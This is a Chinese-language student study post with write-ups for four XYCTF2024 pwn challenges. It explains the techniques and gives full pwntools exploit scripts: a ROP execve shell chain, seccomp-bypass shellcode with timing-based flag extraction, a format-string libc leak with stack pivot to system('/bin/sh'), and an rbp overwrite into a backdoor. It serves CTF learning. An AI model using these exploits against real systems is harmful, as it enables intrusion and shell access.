本周学习总结
终于轮到我打新手赛了。
全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。
一、[Easy] – [XYCTF2024]static_link
Check:

64位程序,开启canary和NX。

虽然checksec检查到了canary,但是vuln函数并没有使用canary。我们现在有了0x100 - 0x28 的溢出。

程序中未发现system和”/bin/sh\x00”。
但是由于程序是静态编译的,所以有我们想要的大部分ROP和syscall,我们可以使用shellcode的思路,构造一个ROP版的shellcode。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = remote("xyctf.top", 51800)
pop_rdi = 0x401f1f pop_rsi = 0x409f8e pop_rdx = 0x451322 pop_rax = 0x447fe7 syscall = 0x401CD4 bss_addr = 0x4CC820 read_addr = 0x447580
payload = b"A" * 0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) payload += p64(bss_addr) + p64(pop_rdx) + p64(0x8) + p64(read_addr) payload += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3B) + p64(syscall)
print(hex(len(payload)))
sea(b"ret2??\n", payload) sleep(0.1) se(b"/bin/sh\x00") op()
|
flag:

二、[Medium] – [XYCTF2024]invisible_flag – orw中的orw
check:

64位程序,保护全开。
seccomp:

说个笑话,orw的题,orw都不能用。
execve也被禁用。
ida:
main:

很简单,我们有0x200的可输入可执行代码,输入完后开启沙盒,然后执行我们输入的代码。
对于禁用了open和read的题目,我们可以使用替代函数openat和pread代替。
openat:
rdi = -100(代表当前目录)
rsi = “flag”的地址
rdx= 0(只读方式打开)
rax= 257
pread:
rdi = 3
rsi = buf的地址(数据写入的目标区域)
rdx= 0x30(数字读取的长度)
rcx= 0 (从第0位字符开始读取)
rax=17
对于禁用了write的题目就很麻烦。
这里介绍一种神奇的爆破法:在读取flag到目标内存后,我们通过cmp指令用一个已知字符和flag的第一个字符比较,如果比较相等,就让程序进入死循环,进入死循环的程序不意味着结束,我们就不会收到EOF,然后判断程序在运行中是否卡住3秒以上,如果卡住了,证明flag的第一个字符爆破成功,我们关闭连接,然后重新打开连接开始比较第二个字符,以此类推,直到爆破出所有的flag为止。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
context.arch = 'amd64' context.os = 'linux'
s = 0 e = 50 flag = "" i = 0 j = 0
for i in range(s, e): for j in range(0x20, 0x80): p = remote("xyctf.top", 50357) shellcode = asm(''' mov rbx, 0x0000000067616C66 push rbx mov rdi, -100 mov rsi, rsp xor rdx, rdx mov rax, 257 syscall mov rdi, 3 mov rsi, 0x114514000 mov rdx, 0x30 mov rcx, 0 mov rax, 17 syscall ''') payload = ''' loop: mov al, byte ptr [0x114514000 + {0}] cmp al, {1} je loop '''.format(i, j) sea(b"again\n", shellcode + asm(payload)) begin = time.time() try: p.recv(timeout=3) p.close() except: pass p.close() end = time.time() if end - begin > 2: flag = flag + chr(j) print(flag) break op()
|
flag:

三、[Medium] – [XYCTF2024]baby_gift – 你刚刚传参了,对吧
check:

64位程序,RELOR全开和NX开启。
ida:
GetInfo:

Gift:

在GetInfo中有0x18的溢出,这个题目最难的部分就是没有任何可用的pop ret 传参代码片段。依次我们没办法通过这种办法来暴露libc的基地址。
对于Gift看起来似乎也没有什么特别的地方。
但是作为pwn手最需要的就是奇思妙想。
我们注意到了Gift汇编代码中有用到了rdi,现在才看出来Gift是传了参数的,而且参数v2是我们可以控制的,但是这有什么用呢?
我们现在可以看看GetInfo处的汇编代码:


在0x401279处有调用了printf,而在Gift结束后rdi的值并没有发生改变,我们可以调用这个printf来实现字符串格式化泄漏获得libc的基地址。
但是这里还有一个问题,如果你随意覆盖rbp的话你的脚本就会卡住,因为0x40128F处因为需要调用fgets,需要通过rbp进行寻址,你必须将rbp劫持到一个可读可写的地址,我看bss段也是风韵犹存。
你可以尝试将执行流返回到main函数,但是我尝试返回的时候是不行的。有可能是栈的原因。
那么此时又有了个新问题,不能返回main函数怎么办?
我们又要掏出那份尘封的技术–栈迁移。
前面我们将rbp劫持到了bss段,而fgets是通过rbp来寻址写入数据的,这样我们就得到了栈迁移的基础。
虽然fgets有0x40的写入,但是我们仍然只有0x18的可执行空间,看起来写pop-rid-system的ROP刚刚好,但是事实并不是这样,在这里的时候刚好没有栈对齐。
那么此时又该怎么办呢?
其实这里我们有了libc基地址,相当于我们有了大量可用的ROP代码片段,而ROP执行的本质决定性控制器是rsp而不是rip,这就意味着如果有一个pop rsp;ret;我们就可以控制跳转地址任意执行一次。如果是这样的话我们fgets前面浪费的0x28地址就可以利用起来了,在前面写上getshell的ROP,然后在后面通过pop rsp;ret;跳到前面去就完美解决,甚至多余0x10字节。
注:bss段地址一定要选偏高的,因为system中有一条指令要求rsp-0x3FF是可读可写区域。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = remote("xyctf.top", 38118)
libc = ELF("./libc.so.6")
sela(b"name:\n", b"A" * 0x18) payload = b"B" * 0x1B + b"%27$p" + p64(0x404800 + 0x20) + p64(0x401274) sela(b"passwd:\n", payload) re(27)
libc_base = int(re(14), 16) - 128 - libc.sym["__libc_start_main"] ph(libc_base, "libc_base") rel()
sys_addr = libc_base + libc.sym["system"] bin_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
pop_rdi = libc_base + 0x2a3e5 pop_rsp = libc_base + 0x35732
payload1 = p64(pop_rdi) + p64(bin_addr) + p64(sys_addr) + p64(0) + p64(0) payload2 = p64(pop_rsp) + p64(0x404800)
sel(payload1 + payload2) op()
|
flag:

四、[Medium] – [XYCTF2024]guestbook1 – 看你运气
check:

64位程序,NX开启。
ida:
main:

init:

GuestBook:

Backdoor:

看起来像是数组溢出,实际上并没有溢出,你不能输入大于32的index,也不能输入小于0的index,输入最大index的32,read的输入大概离rbp还差0x20左右字节,但是scanf的输入刚好只能修改rbp的最后一个字节。
我们可以看看程序在你scanf输入完后rbp的值有什么特点:

“ZZZZZZZZ”是read所输入的,rbp最后一个字节0x80是被修改到的,我们可以看到rbp中的地址和我们read输入到的地址其实差不了多远,而栈地址又是随机变化的,有没有可能在某次运行中rbp刚好指向我们输入“ZZZZZZZZ”的地址,而GuestBook是有一次leave ret的,完成后rbp指向“ZZZZZZZZ”的地址的话,那么在main中还有一次leave ret,此时就将“ZZZZZZZZ”弹入rbp就直接执行backdoor的地址了。
由于地址的随机性,我们需要多次运行脚本才能打通。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = remote("xyctf.top", 38389)
sela(b"index\n", stre(32)) sea(b"name:\n", b"Z" * 0x8 + p64(0x40133A)) sela(b"id:\n", stre(128)) sela(b"index\n", stre(-1)) op()
|
flag:

下周学习计划
| 应该要做的事情 |
解题,爽!
学习感受
解题,爽!